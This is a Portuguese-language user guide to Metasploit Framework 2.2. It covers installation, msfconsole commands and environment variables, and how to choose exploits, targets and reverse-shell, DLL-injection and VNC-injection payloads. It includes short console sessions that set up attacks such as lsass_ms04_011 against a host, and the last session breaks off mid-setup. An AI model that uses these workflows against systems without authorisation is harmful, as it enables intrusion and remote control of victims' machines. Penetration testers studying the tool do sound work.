Metasploit Framework Versão 2.2
User Crash Course

Introdução

Este documento é uma tentativa de prover um guia do usuário para a versão 2.2 do Metasploit Framework e tem como principais objetivos dar uma visão geral do que o Framework é, como ele funciona e o que você pode fazer com ele. Como a maioria dos projetos de código aberto, a confecção da documentação é sempre deixada em segundo plano em detrimento do desenvolvimento de novos códigos. Portanto, se você gostaria de contribuir para o projeto e possui uma boa habilidade na criação de documentação técnica, por favor, contate os desenvolvedores do Metasploit no endereço de correio eletrônico listado no final deste documento.

O Metasploit Framework é um ambiente completo para escrever, testar e usar códigos de exploração de vulnerabilidades computacionais. Este ambiente fornece uma plataforma sólida para a realização de testes de penetração, desenvolvimento de “shellcodes” e pesquisa de vulnerabilidades. O código do Framework, em sua maioria, foi escrito em Perl utilizando o conceito de orientação a objetos, sendo que alguns componentes opcionais são escritos em C, Assembler e Python.

Atualmente o Metasploit Framework têm dois desenvolvedores principais, dois colaboradores significativos e um grande grupo de pessoas que forneceu idéias ou código que foram sendo incorporados no projeto ao longo do tempo. Para obter uma lista completa de todas as pessoas envolvidas execute o módulo de exploração **Credits**.

Instalação

Instalação em sistemas Unix
Em sistemas compatíveis com o Unix, a instalação do Framework é tão fácil quanto descompactar o "tarball", mudar para o diretório recém criado e executar a sua interface de usuário preferida. É fortemente recomendado que você compile e instale o módulo Perl Term::Readline::Gnu, o qual pode ser encontrado no subdiretório 'extras' no diretório raiz do Framework. Este módulo habilita o suporte a 'tab-completion' na interface *msfconsole*, que é a interface gráfica mais recomendada para o uso diário do Framework. Se você deseja que o Framework suporte o protocolo SSL (Secure Sockets Layer), você deve instalar o módulo Perl Net::SSLeay, o qual também pode ser encontrado no subdiretório 'extras'.

Para realizar uma instalação que esteja acessível para todos os usuários do sistema ('system-wide'), é recomendável que você copie todo o diretório do Framework para um diretório que esteja acessível globalmente, por exemplo, /usr/local/msf, e então crie 'links' simbólicos dos aplicativos msf* para um diretório que esteja presente na variável "PATH" do sistema. Módulos do usuário podem ser instalados no diretório $HOME/.msf/<TYPE> onde <TYPE> pode ter um dos seguintes valores: **exploits**, **payloads**, **nops** ou **encoders**.

Instalação em ambientes Microsoft Windows
Depois de meses contornando os problemas encontrados na versão do Perl distribuída pela ActiveState, ficou decidido que não iríamos suportar a utilização do Framework com o ActiveState Perl e foi feita a opção pelo Cygwin Perl (distribuído pela RedHat). O instalador Win32 do Metasploit Framework já contém uma versão mínima do ambiente Cygwin e esta é a maneira recomendada de instalar o Framework na plataforma Windows. Se você quer instalar o Framework em uma instalação já existente do ambiente Cygwin, leia a documentação contida no arquivo 'docs/QUICKSTART.cygwin' presente no diretório raiz do Framework, é importante salientar que existem diversas questões a serem solucionadas quando da instalação dos módulos Term::Readline::Gnu e Net::SSLeay em ambientes Cygwin e que estes módulos são necessários para que o Framework seja completamente instalado.

Problemas conhecidos em algumas plataformas
Apesar de todos os nossos esforços para suportar de forma completa o máximo de plataformas de software, ainda existem alguns problemas de compatibilidade que precisam ser solucionados, como, por exemplo, se você planeja acessar a interface *msfweb* de um sistema MacOS X e estiver utilizando o Internet Explorer você irá ter problemas no último estágio do processo de exploração. Este problema decorre do fato de que o Internet Explorer não suporta a exibição

incremental de saídas (páginas estáticas ou saídas de processos) oriundas de servidores HTTP 1.0. Outro problema conhecido é o fato de que atualmente o suporte a 'raw' sockets não é funcional nos ambientes: Cygwin, AIX, HP-UX e possivelmente no Solaris, esta situação irá afetar a utilização de métodos de spoofing em ataques baseados em UDP, os quais são configurados através da variável de ambiente UdpSourceIp. E finalmente, se o Framework estiver sendo instalado, com a utilização do instalador para ambientes Win32, em um sistema que já possui uma versão do Cygwin instalada poderão ser encontrados problemas durante a instalacão.

Sistemas Operacionais Suportados
O Framework deve executar adequadamente em quase todos os sistemas operacionais baseados no Unix, desde que estes tenham instalada uma versão completa e moderna (5.6 ou superior) do interpretador Perl. Todas as versões estáveis do Framework são testadas em quatro plataformas primárias:

- Linux (x86, ppc) (2.4, 2.6)
- Windows NT (4.0, 2000, XP, 2003)
- BSD (Open 3.x, Free 4.6+)
- MacOS X (10.3.3)

As seguintes plataformas têm problemas conhecidos:
- Windows 9x (95, 98, ME)
- HP-UX 11i (necessita da atualização do interpretador Perl)

Diversos usuários nos informaram que o Framework está sendo executado sem problemas em sistemas Solaris e AIX e até mesmo no PDA Sharp Zaurus (Que executa Linux). Estes sistemas, em geral, exigem que a versão do Perl seja atualizada e que vários utilitários do projeto GNU estejam instalados para que o Framework funcione corretamente.

Atualizando o Framework
Desde a versão 2.2, o utilitário de atualização “online”, *msfupdate,* é incluído na instalação padrão do Framework. Este utilitário pode ser utilizado para copiar e instalar, do web site metasploit.com, a última versão disponível do Framework. Esta atualização é feita através da comparação dos 'checksums' dos arquivos locais com os arquivos disponíveis no web site. Este processo ocorre através de uma conexão SSL, e assume que o sistema possui o módulo Net::SSLeay instalado no sistema. Este processo não é completamente a prova de falhas e sua segurança é diretamente dependente da segurança do servidor web metasploit.com. Para obter mais informações sobre o utilitário *msfupdate*, execute-o com o argumento -h.

Se você preferir não utilizar o método de atualização “online” (*msfupdate*), você pode fazer a cópia manual dos módulos atualizados do web site metasploit.com. Num futuro próximo estará disponível uma interface para “download” do último

“snapshot” do Framework que for considerado como estável.

Utilizando o Framework

O Console (The Console Interface)

Depois que você efetuou a instalação do Framework, você deve verificar que o mesmo está funcionando corretamente. A maneira mais rápida de fazer isto é através da execução da interface de usuário *msfconsole.* Esta interface irá apresentar o logotipo em ASCII do Metasploit, imprimir na tela a versão do Framework, o número de payloads e exploits instalados, e então irá deixa-lo em um prompt de comandos 'msf', digite o comando **help** para obter uma lista dos comandos válidos. Neste ponto você está em modo 'main' o que permite que você liste os exploits e payloads instalados e altere a configuração das opções (variáveis de ambiente) globais. Para obter uma lista de todos os exploits disponíveis, digite o comando **show exploits**. Para obter mais informações sobre um exploit específico, digite o comando **info module_name**.

Eficiência do Console (Console Efficiency)

Quando do desenvolvimento do console foi considerada a necessidade de eficiência na utilização desta interface e portanto o console pode ser utilizado como um shell (/bin/bash ou /bin/sh) padrão em várias situações. Se você digitar um comando desconhecido para o Framework, o console irá verificar se este comando existe no “PATH” do sistema e em caso afirmativo irá executa-lo com os argumentos recebidos pelo console. Esta funcionalidade permite que você utilize as suas ferramentas padrão sem a necessidade de deixar o console. “Tab Completion” (Finalização de nomes através da tecla TAB) têm como padrão a procura por nomes de arquivos quando o comando sendo executado não é um comando interno do console. Esta funcionalidade permite que você navegue o seu sistema de arquivos de maneira usual, como se você estivesse utilizando o shell BASH.

Selecionando um Exploit

Desde um prompt 'msf' você pode escolher um exploit (módulo de exploração) através do comando **use**. Este comando recebe como primeiro argumento o nome do exploit a ser carregado e, se o mesmo for executado com sucesso, o estado do console muda para o modo 'exploit' e o ambiente temporário (“Temporary Environment”) deste exploit é carregado para a memória. Você pode mudar de exploits ativos, ou seja, de modo um 'exploit' para outro modo 'exploit', através da utilização do comando **use** e pode voltar para o modo 'main' através do comando **back**.

Comandos Básicos do Modo “Exploit”

Depois que você selecionou um exploit com o comando **use**, os comandos

disponíveis para execução mudam. Execute o comando **help** novamente para obter uma lista dos novos comandos que estão disponíveis. O comando **show** agora recebe um conjunto completamente diferente de argumentos, os quais permitem que você examine as opções padrão, as opções avançadas, os possíveis alvos (targets) e os payloads compatíveis com este exploit. O comando **check** executa a função de verificação de vulnerabilidade do exploit. E finalmente, o comando **exploit** efetivamente executa o exploit selecionado.

Ambientes (Environments)

O ambiente (environment) do sistema é um componente central do Framework, dentre as diversas funções do ambiente, podemos citar: o armazenamento de valores de configuração para as várias opções suportadas pelas interfaces do Framework (Console, CLI e Web), a sua utilização pelos payloads para corrigir ("patch") os opcodes, a definição dos parâmetors de funcionamento dos exploits e, além disso, ele é responsável pelo compartilhamento de opções entre os módulos de exploração. O ambiente do sistema é logicamente dividido entre ambiente Global e Temporário (Global and Temporary Environment).

Cada exploit tem o seu próprio ambiente temporário o qual sobrescreve os valores previamente existentes no ambiente global. Quando você seleciona um exploit através do comando **use**, o ambiente temporário para este exploit é carregado e o ambiente existente na memória é salvo. Se você voltar para o exploit anterior, o ambiente deste exploit, que havia sido previamente salvo, é carregado na memória novamente.

Ambiente Global

Através do console, o ambiente Global pode ser manipulado com os comandos **setg** e **unsetg**. O exemplo exibido abaixo mostra o estado do ambiente Global logo após a instalação do Framework. Se você executar comando **setg** sem nenhum argumento serão exibidas todas as variáveis presentes no ambiente Global, já o comando **unsetg** quando executado sem nenhum argumento irá excluir todas as variáveis do ambiente Global. As configurações padrão são automaticamente carregadas quando o console é executado.

```
+ -- --=[ msfconsole v2.2 [34 exploits - 33 payloads]

msf > setg
AlternateExit: 2
DebugLevel: 0
Logging: 0
msf >
```

Ambiente Temporário

O ambiente temporário é acessado através dos comandos **set** e **unset**. Este ambiente se aplica somente ao módulo de exploração atualmente carregado na memória. Quando carregamos outro exploit com o comando **use** o ambiente Temporário do exploit atual será trocado pelo ambiente Temporário do novo exploit. Se nenhum exploit estiver ativo no ambiente, então os comandos **set** e **setg** não estarão disponíveis. Se você voltar para um exploit previamente carregado na memória, o ambiente temporário deste exploit, que havia sido salvo, será restaurado. Ambientes Temporários que estão inativos são simplesmente armazenados na memória e ativados quando o módulo associado aos mesmos é selecionado. O seguinte exemplo mostra como o comando **use** seleciona um exploit ativo e como o comando **back** volta o ambiente para o modo “main”

```
msf > use apache_chunked_win32
msf apache_chunked_win32 > set
msf apache_chunked_win32 > set FOO BAR
FOO -> BAR
msf apache_chunked_win32 > set
FOO: BAR
msf apache_chunked_win32 > back
msf > use poptop_negative_read
msf poptop_negative_read > set
msf poptop_negative_read > back
msf > use apache_chunked_win32
msf apache_chunked_win32 > set
FOO: BAR
msf apache_chunked_win32 >
```

Ambiente Salvo (Saved Environment)

O comando **save** pode ser utilizado para salvar o ambiente Global e todos os ambientes Temporários para o disco rígido. O ambiente salvo é escrito no arquivo ~/.msf/config e será carregado quando qualquer uma das interfaces de usuário for executada.

Utilizando o ambiente de forma efetiva

Este formato de ambiente dividido, Global e Temporário, permite que você economize tempo durante o desenvolvimento de exploits e a realização de testes de penetração. Opções comuns entre exploits podem ser definidas no ambiente Global apenas uma vez e utilizadas automaticamente em todos os exploits que você carregar após a definição.

O exemplo abaixo mostra como as variáveis LPORT, LHOST e PAYLOAD podem ser utilizadas no ambiente Global para economizar tempo quando da exploração de um conjunto de alvos que estão executando o sistema operacional Windows. Se este ambiente estivesse definido e um exploit para Linux fosse utilizado, o ambiente Temporário (configurado através dos comandos **set** e **unset**), poderia ser utilizado para sobrescrever os valores globais.

```
msf > setg LPORT 1234
LPORT -> 1234
msf > setg LHOST 192.168.0.10
LHOST -> 192.168.0.10
msf > setg PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf > use apache_chunked_win32
msf apache_chunked_win32(win32_reverse) > show options
Exploit and Payload Options
===========================

 Exploit:    Name      Default    Description
 --------    ------    -------    ------------------
 optional    SSL                  Use SSL
 required    RHOST                The target address
 required    RPORT     80         The target port

 Payload:    Name        Default    Description
 --------    --------    -------    ----------------------------------------
 optional    EXITFUNC    seh        Exit technique: "process", "thread", "seh"
 required    LPORT       1234       Local port to receive connection
 required    LHOST       192.168.0.10    Local address to receive connection
```

Variáveis de Ambiente

O ambiente pode ser utilizado para configurar diversos aspectos do Framework, desde como serão feitas as configurações das interfaces de usuário, até opções especificas, como, por exemplo, o tempo de 'timeout' na Sockets API. Esta seção descreve as variáveis de ambiente que são mais utilizadas no Framework.

DebugLevel

Esta variável é utilizada para controlar a quantidade de mensagens de depuração (“debugging”) que serão enviadas pelo Framework para o usuário. Se esta variável for configurada com o valor 0 (zero) então todas as mensagens de depuração serão desabilitadas, este é o valor padrão. A faixa de valores suportados por esta variável inicia-se em 0 (zero) e termina em 5 (cinco).

Logging

Esta variável é utilizada para habilitar ou desabilitar a gravação dos dados da sessão. Os logs (trilhas de auditoria) da sessão são gravados por padrão no diretório ~/.mfs/logs, este diretório pode ser alterado através da configuração da variável de ambiente LogDir. Com o utilitário *msflogdump* você pode visualizar os logs de sessão que foram gravados. Estes logs contém o ambiente completo para o exploit utilizado e também a hora de envio de todos os pacotes da sessão.

LogDir

Esta variável especifica em qual diretório os arquivos de log devem ser armazenados. O seu valor padrão é ~/.msf/logs. Existem dois tipos de arquivos de log, o arquivo de log principal (main log) e os logs de sessão (session logs). O arquivo de log principal irá gravar cada ação significativa executada no console. Um novo log de sessão será criado para cada execução com sucesso de um exploit.

Encoder

Esta variável deve ser configurada com uma lista, separada por virgulas, dos Encoders preferidos pelo usuário. O Framework irá, inicialmente, tentar cada Encoder presente nesta lista (em ordem) até que um deles seja executado com sucesso e, caso isto não ocorra, será realizada a execução dos Encoders restantes do Framework. Para listar os Encoders que estão configurados nesta variável utilize o comando **show encoders**.

```
msf> set Encoder ShikataGaNai
```

EncoderDontFallThrough
Esta variável de ambiente informa ao Framework que ele não deve tentar executar nenhum outro Encoder se todos os Encoders configurados na variável Encoder falharem. Esta variável é muito útil para manter-se anônimo em uma rede, evitando, por exemplo, que um Encoder não desejado seja utilizado caso o seus Encoders preferidos tenham falhado.

Nop

Esta variável tem o mesmo comportamento da variável Encoder, descrita acima, com a exceção que esta é utilizada para especificar a lista dos módulos geradores de Nops selecionados pelo usuário. Os módulos especificados podem ser listados com o comando **show nops**.

```
msf> set Nop Pex
```

NopDontFallThrough

Esta variável tem o mesmo comportamento da variável EncoderDontFallThrough, com a exceção de que esta é aplicada a lista de Nops preferidos.

RandomNops

Esta variável permite a utilização de nop sleds aleatórios em detrimento do nop opcode padrão. A variável RandomNops deve ser estável com todos os módulos de exploração inclusos no Framework.

ConnectTimeout

Esta variável especifica o número máximo de segundos que serão esperados quando da realização de novas conexões TCP. O valor padrão desta variável é 10 (dez) segundos. Quando o Framework estiver sendo utilizado em 'links' de baixa velocidade o incremento do valor padrão desta variável pode se fazer necessário para evitar a ocorrência de erros.

RecvTimeout

Esta variável especifica o número máximo de segundos que serão esperados para as chamadas de sistema onde foi utilizado o valor especial **-1** como a

quantidade de dados a ser lida através da rede ('socket reads'). Se o Framework for utilizado em 'links' de baixa velocidade e você estiver enfrentando problemas, o incremento do valor padrão desta variável pode ser necessário.

RecvTimeoutLoop

Esta variável especifica o número máximo de segundos que serão esperados até que um socket receba dados e os retorne. Cada vez que uma porção de dados é recebida, o laço (loop) se reinicia. Se você estiver utilizando o Framework em 'links' de comunicação muito lentos e estiver encontrando problemas, pode ser necessário incrementar o valor desta variável.

Proxies

Esta variável força todos os sockets TCP a utilizaram a cadeia de proxies especificada em seu valor. Cada proxy desta cadeia deve ser descrito utilizando o formato **type:host:port** e nos casos onde se queira utilizar mais de um proxy estes devem ser separado por vírgulas. A versão 2.2. do Framework inclui suporte para SOCKSv4 e proxies HTTP CONNECT.

ForceSSL

Esta variável força todos os sockets TCP a utilizarem o protocolo SSL (Secure Sockets Layer). A configuração desta variável somente é necessária quando o módulo de exploração não provê a variável Temporária SSL.

UdpSourceIp

Esta variável de ambiente pode ser utilizada para controlar o endereço de origem de todos os datagramas UDP que serão enviados pelo Framework. Esta variável somente é efetiva quando utilizada com módulos de exploração baseados em UDP (MSSQL, ISS, etc). Além disso, esta variável também depende da possibilidade de abrir um “Raw Socket”, o que normalmente só pode ser executado por usuários com direitos administrativos no sistema (root ou similar). Na versão 2.2 do Framework, esta característica não está funcional no ambiente Cygwin.

NinjaHost

Esta variável de ambiente é utilizada para redirecionar todas as conexões de payloads para um sistema executando o servidor socketNinja. O valor desta variável deve ser o endereço IP do sistema executando o console socketNinja (**perl socketNinja -d**).

NinjaPort

Esta variável de ambiente é utilizada em conjunto com a variável NinjaHost no redirecionamento das conexões de payloads para um sistema executando o servidor socketNinja. O valor desta variável deve ser o número da porta de comunicação utilizada pelo console socketNinja.

NinjaDontKill

Esta variável pode ser utilizada para explorar vários sistemas com um único ataque e é particularmente útil quando da execução de módulos de exploração que utilizem o protocolo UDP contra o endereço de Broadcast de uma rede.

AlternateExit

Esta variável é uma solução de contorno para um problema (bug) encontrado em certas versões do interpretador Perl. Se quando você estiver saindo do *msfconsole* ocorrer um “segmentation fault”, configure esta variável com o valor 2 (dois).

Para obter uma lista completa de todas as variáveis de ambiente suportadas nesta versão, consulte o arquivo **Environment.txt** presente no subdiretório docs do raiz do Framework.

Utilizando Framework

Selecionando um Módulo de Exploração

Utilizando a interface *msfconsole*, você pode ver todos os módulos de exploits que estão disponíveis com o comando **show exploits**. Para selecionar um exploit utilize o comando **use**, especificando como parâmetro o nome do módulo desejado. O comando **info** pode ser utilizado para visualizar as informações disponíveis do módulo específicado como parâmetro.

Configurando o Exploit Ativo

Após a seleção de um exploit, o próximo passo é identificar quais opções (variáveis de ambiente) ele exige que sejam configuradas. Esta infomação pode ser obtida através da execução do comando **show options**. A maioria dos exploits requerem que sejam especificadas as variáveis **RHOST**, que especifica o sistema a ser atacado, e **RPORT** que especifica a porta de comunicação que deve ser utilizada. Use o comando **set** para configurar valores apropriados para cada uma das variáveis marcadas como requeridas e também para quaisquer variáveis opcionais que você desejar. Se você tiver alguma dúvida sobre a utilização de uma determinada variável, é recomendado que você leia o código fonte do módulo de exploração, o qual irá conter informações mais específicas e sempre estará mais atualizado que a documentação. Opções avançadas estão disponíveis em alguns módulos de exploração e estas podem ser vistas através do comando **show advanced**.

Verificando as Opções dos Exploits

O comando **check** é utilizado para determinar se o sistema alvo está vulnerável ao módulo de exploração ativo. Este comando também é uma maneira rápida de verificar que todas as opções foram configuradas corretamente e como bônus extra, conforme já citado anteriormente, você ainda verifica se o sistema alvo está suscetível ao ataque realizado pelo módulo de exploração. É importante citar que nem todos os módulos de exploração tem a funcionalidade **check** implementada. Em vários casos é próximo ao impossível determinar se um sistema ou serviço é vulnerável sem efetivamente explora-lo. O comando **check** nunca deve causar a indisponibilidade do sistema alvo. Vários módulos de exploração implementam esta funcionalidade através da coleta e exibição da versão do serviço ou do sistema operacional e espera que você analise os dados coletados antes de executar a exploração.

Selecionando o Payload

O payload é o código que será executado no sistema alvo após uma exploração realizada com sucesso. Para listar todos os payloads compatíveis com o exploit atual utilize o comando **show payloads**. Se você está conectado a rede atrás de um firewall, você pode querer utilizar o payload 'bind shell', se o seu alvo está conectado atrás de um firewall e você não, você pode utilizar o payload 'reverse connect'. Você pode obter maiores informações sobre um determinado payload através da execução do comando **info payload_name**, onde payload_name é o nome do payload do qual se deseja obter maiores informações.

Uma vez que você decidiu qual payload será utilizado, execute o comando **set** para especificar o nome deste módulo de payload como o valor da variável de ambiente **PAYLOAD**. Uma vez que o payload foi configurado, você pode utilizar o comando **show options** para exibir todas as opções disponíveis para este payload. A maioria dos payloads tem ao menos uma opção que é requerida. Opções avançadas são providas em diversos payloads, utilize o comando **show advanced** para exibir os seus nomes e valores padrão.

Selecionando um TARGET

'Targets' são números inteiros, associados a versões de serviços ou sistemas operacionais que são vulneráveis a um determinado módulo de exploração. Vários exploits irão requerer que a variável de ambiente **TARGET** seja configurada com o número do índice do 'target' desejado. O comando **show targets** irá exibir uma lista com todos os 'targets' suportados pelo módulo de exploração. Vários exploits irão utilizar como 'target' padrão a força-bruta o que pode não ser o comportamento mais apropriado em todas as situações.

Executando o Exploit

O comando **exploit** irá efetivamente executar o ataque contra o sistema especificado na variável **RHOST**. Se módulo foi executado corretamente, ou seja, se o sistema estava vulnerável e as opções selecionadas estavam corretas, o seu payload será executado no sistema alvo e você receberá, na maioria dos casos, uma interface interativa de comandos no sistema explorado.

A Interface de Linha de Comandos

Se o console não atender as suas necessidades, você pode querer utilizar a interface *msfcli*. Esta interface recebe como primeiro parâmetro uma “match string”, ou seja, uma string que contém uma expressão regular, seguida por uma ou mais opções que devem estar no formato **VAR=VAL**, e finalmente um código de ação que indica o que deve ser executado pelo módulo de exploração. A “match string” é utilizada para determinar qual módulo de exploração será executado e na eventualidade de mais de um módulo ser selecionado pela

expressão regular da “match string”, será exibida no terminal de comandos uma lista com todos os módulos selecionados.

O código de ação é formado apenas por uma letra: **S** para sumário, **O** para as opções requeridas, **A** para opções avançadas, **P** para payloads, **T** para targets, **C** para executar o comando check e **E** para executar o comando exploit. O ambiente Salvo, se existir um, será carregado para a memória e utilizado durante a inicialização. Este comportamento permite que você utilize o Console (*msfconsole*) para configurar diversas opções compartilhadas no ambiente Global, as salve em disco e utilize estas configurações durante a execução da interface *msfcli*, minimizando o número de varíaveis a serem configuradas e consequentemente a ocorrência de eventuais erros.

A interface de linha de comandos é extremamente útil para exploração automática e para realização de testes em “batch”. Além disso, quando combinada com um scanner inteligente esta interface pode se tornar uma ferramenta extremamente cruel :-).

A Interface Web

A interface *msfweb* é um servidor web que permite que você execute ataques através do seu browser. Esta interface ainda está em seus primeiros estágios de desenvolvimento, porém ela pode ser útil para usuários trabalhando em times de invasão (pen-testing, etc). A conexão criada com o sistema atacado é redirecionada para uma porta aleatória que é colocada em modo de LISTEN no servidor Web e o usuário recebe um acesso telnet a esta porta dinâmica.

A interface *msfweb* não fornece nenhum tipo de segurança, isto quer dizer que qualquer pessoa que possua acesso de rede a este servidor web poderá se conectar ao servidor web para executar ataques ou até mesmo a porta de redirecionamento que foi dinamicamente criada por um ataque executado com sucesso. Por padrão esta interface se coloca em modo de LISTENING apenas no endereço de localhost (127.0.0.1) do sistema, o que inibe o acesso de qualquer outro sistema a este serviço, porém, através da utilização do argumento de linha de comando **-a** é possível especificar qual endereço e porta devem ser utilizados para se efetuar o LISTENING, o formato recebido pela opção **-a** é **endereço:porta**. Assim como a interface de linha de comandos, *msfcli*, o ambiente salvo (Saved Environment) é carregado durante a inicialização o que irá afetar as configurações dos módulos de exploração. É extremamente recomendado que a interface *msfweb* não seja utilizada em ambientes de produção

Características Avançadas (Advanced Features)

Esta seção cobre algumas das características avançadas que podem ser encontradas nesta versão. Estas características podem ser utilizadas em qualquer exploit compatível e destacam as vantagens do desenvolvimento de códigos de ataque utilizando um framework de exploração.

InlineEgg Python Payloads

A biblioteca InlineEgg é uma classe Python utilizada para gerar pequenos programas em linguagem Assembly. O uso primário desta biblioteca é no desenvolvimento rápido de payloads de exploração com caracterísiticas avançadas. Esta biblioteca foi desenvolvida por Gera da Core SDI como parte do produto Core ST's Impact. A Core liberou o acesso e a utilização do InlineEgg para o público em geral sob uma licença não comercial.

O Metasploit Framework suporta os payloads da biblioteca InlineEgg através do módulo de interface ExternalPayload, este módulo habilita suporte transparente a esta biblioteca se a linguagem Python estiver instalada. Para habilitar o uso dos payloads InlineEgg, a variável de ambiente **EnablePython** deve estar configurada com um valor diferente de zero. Esta mudança foi implantada na versão 2.2 do Framework para aumentar a velocidade do processo de reinicialização dos módulos.

Esta versão do Framework inclui exemplos de utilização da biblioteca InlineEgg para Linux, BSD, e Windows. Os exemplos para Linux são **linx86_reverse_ie**, **linux86_bind_ie**, e **linux86_reverse_xor**. Estes payloads podem ser selecionados e utilizados da mesma maneira que qualquer outro payload. O conteúdo destes payloads são dinamicamente gerados pelos scripts Python existentes no subdiretório payloads/external. Os payloads para sistemas BSD funcionam de forma quase idêntica aos payloads para Linux.

Um exemplo de payload gerado pelo InlineEgg para ambientes Microsoft Windows é o **win32_reverse_stg_ie** e este tem um método de funcionamento um pouco diferente do normal. Este payload tem uma opção chamada **IEGG**, que especifica o caminho onde pode ser encontrado o script Python que possui o seu payload final. Este exemplo é um “staged” payload, o seu primeiro estágio é uma conexão reversa padrão, o segundo estágio envia o endereço das funções GetProcAddress e LoadLibraryA através da conexão de rede e finalmente o terceiro estágio é gerado localmente e enviado através desta conexão de rede. Um script InlineEgg de exemplo pode ser encontrado no subdiretório payloads/external, o seu nome é '**win32_stg_winexec.py**'. Para maiores informações sobre a biblioteca InlineEgg visite o site web do Gera o qual pode ser encontrado em:

http://community.corest.com/~gera/ProgrammingPearls/InlineEgg.html

Impurity ELF Injection

Impurity foi um conceito de exploração desenvolvido por Alexander Cuttergo que utiliza um método de carga e execução de um novo executável ELF na memória do sistema. Esta técnica permite que payloads extremamente complexos sejam escritos utilizando a linguagem C exigindo como único requerimento um payload especial de carga ('loader'). O Framework inclui um payload que contém um 'loader' para executáveis Impurity, este payload é chamado de **linx86_reverse_impurity** e exige que a opção **PEXEC** esteja configurada com o caminho do arquivo a ser executado. Executáveis Impurity devem ser compilados de uma maneira específica, consulte a documentação presente no subdiretório src/shellcode/linux/impurity para obter maiores informações sobre o processo de compilação. O aplicativo 'shelldemo' que está incluso no subdiretório data permite que você liste, acesse, leia, escreva e abra novos 'file handles' no processo explorado. A mensagem original contendo o anuncio do Impurity 1.0 e algumas informações sobre esta técnica pode ser encontrada na seguinte URL:
http://archives.neohapsis.com/archives/vuln-dev/2003-q4/0006.html

Cadeias de Servidores Proxy (Chainable Proxies)

O Framework inclui suporte transparente a utilização de Proxies TCP, sendo que nesta versão estão incluídas rotinas para suportar a utilização de servidores HTTP CONNECT e SOCKSv4. Para utilizar um exploit através de um servidor proxy a variável de ambiente **Proxies** deve estar configurada adequadamente. O valor desta variável é uma lista de servidores proxy separados por vírgulas, onde cada servidor deve estar no formato **type:host:port**. Os valores suportados para **type** são 'http' para HTTP CONNECT e 'socks4' para servidores SOCKS v4. A cadeia de servidores proxy pode ser de qualquer tamanho, sendo que foram efetuados testes que demonstraram que o Framework funcionou corretamente com a utilização de aproximadamente 500 proxies, SOCKS e HTTP, configurados de maneira aleatória em uma única cadeia. Nesta versão do Framework, a cadeia de servidores proxy apenas mascaram a requisição de exploração, sendo que as conexões automáticas realizadas pelo payload utilizado durante a exploração não são roteadas através da cadeia de proxies.

Win32 UploadExec Payloads

Sistemas Operacionais Unix normalmente já incluem instaladas todas as ferramentas que você irá precisar após a exploração do sistema. Já no caso sistemas Microsoft Windows é notória a falta de boas ferramentas de linha de comando que possam ser utilizadas no pós exploração. Para solucionar este problema os payloads UploadExec, incluídos nesta versão do Framework,

permitem que você, simultaneamente, explore uma vulnerabilidade, faça o upload (cópia) da sua ferramenta favorita e a execute imediatamente, sendo que todos estes passos são efetuados na conexão aberta por este payload. Este payload, quando combinado com um rootkit auto-instalável ou um interpretador de uma linguagem de scripts, como, por exemplo, o perl, pode se tornar uma ferramenta de exploração extremamente poderosa.

Win32 DLL Injection Payloads

A versão 2.2 do Framework inclui um “staged payload” que é capaz de injetar , em conjunto com qualquer exploit para Win32, uma DLL (Biblioteca de Vínculo Dinâmico) na memória do processo sendo explorado. Este payload não irá deixar nenhum traço no disco rígido do sistema explorado, pois a DLL é carregada diretamente para a memória e inicializada como uma nova 'thread' no processo sendo explorado. Este payload foi desenvolvido por Jarkko Turkulainen and Matt Miller e é uma das técnicas pós exploração mais poderosas desenvolvidas até hoje. Para criar uma DLL que pode ser utilizada com este payload, utilize o ambiente de desenvolvimento de sua preferência e construa uma DLL Win32 padrão. Esta DLL deve exportar uma função chamada de **Init** a qual recebe um único argumento, um valor inteiro que contém o socket da conexão do payload. A função **Init** então se torna o ponto de entrada para a nova thread no processo explorado. Quando o processamento se completar, a função deve retornar e permitir que o “stub” de inicialização saia do processo de acordo com o valor definido na variável de ambiente **EXITFUNC**. Se você deseja escrever as suas próprias DLLs, utilize o código fonte contido no subdiretório src/shellcode/win32/dllinject do Framework como exemplo.

VNC Server DLL Injection

Um dos primeiros payloads a utilizar a técnica de injeção de DLL foi uma versão customizada de um servidor VNC. Este servidor foi escrito por Matt Miller e foi baseado no código fonte do RealVNC. Foram realizadas modificações para permitir que o servidor VNC funcionasse com os serviços de rede não interativos que haviam sido explorados. Este payload permite que você obtenha acesso imediato ao desktop do sistema explorado utilizando praticamente qualquer exploit para ambientes Win32. A forma de funcionamento deste é a seguinte: a DLL é carregada no processo remoto utilizando qualquer um dos métodos de carga de estágio de exploração (“stage loaders”), ela é então inicializada como uma nova thread no processo explorado e finalmente coloca o mesmo socket utilizado para carregar a DLL à espera de conexões de clientes VNC. O Framework cria um socket local em modo de LISTEN à espera de um cliente VNC e redireciona todo o tráfego recebido neste socket para o servidor VNC através da conexão criada pelo payload.

O servidor VNC tentará obter acesso completo ao desktop interativo que estiver

sendo executado no servidor durante a exploração do sistema. Se a tentativa anterior falhar o servidor irá executar a função RevertToSelf() e irá efetuar outra tentativa. Se ainda assim não for possível obter acesso completo ao desktop o mesmo será colocado em modo de leitura, e o usuário do Framework poderá visualizar o conteúdo do desktop mas não poderá interagir com o mesmo. Se o acesso completo ao desktop foi obtido então o servidor VNC irá inicializar um shell de comandos no desktop com os mesmos privilégios do serviço que foi explorado. Este shell é muito útil na eventualidade de um usuário sem privilégios estar executando o desktop interativo e o serviço explorado estiver sendo executado, por exemplo, com os privilégios do usuário SYSTEM.

Se não existir nenhum usuário interativo utilizando o sistema ou se o desktop do sistema estiver bloqueado (locked), a linha de comandos (shell), que é executada pelo payload, pode ser utilizada para executar o explorer.exe. Esta situação pode fazer com que os usuários legítimos do sistema, que tenham acesso físico ao mesmo, fiquem confusos, pois um menu Iniciar (Start) estará presente na tela inicial de “logon”. Se o desktop interativo é alterado, seja através de um novo usuário iniciando uma sessão no sistema (logging in) ou realizando o bloqueio da estação de trabalho, o servidor VNC irá desconectar o cliente. Versões futuras desta DLL tentarão realizar uma mudança de desktop para manter aberta a sessão.

Para utilizar o payload VNC Injection, especifique o caminho completo para o servidor VNC na opção **DLL**. O servidor VNC pode ser encontrado no subdiretório data da instalação do Framework e o arquivo tem o nome de 'vncdll.dll'. O código fonte desta biblioteca (DLL) pode ser encontrado no subdiretório src/shellcode/win32/dllinject/vncinject da instalação do Framework.

```
msf > use lsass_ms04_011
msf lsass_ms04_011 > set RHOST some.vuln.host
RHOST -> some.vuln.host
msf lsass_ms04_011 > set PAYLOAD win32_reverse_vncinject
PAYLOAD -> win32_reverse_vncinject
msf lsass_ms04_011(win32_reverse_vncinject) > set LHOST your.own.ip
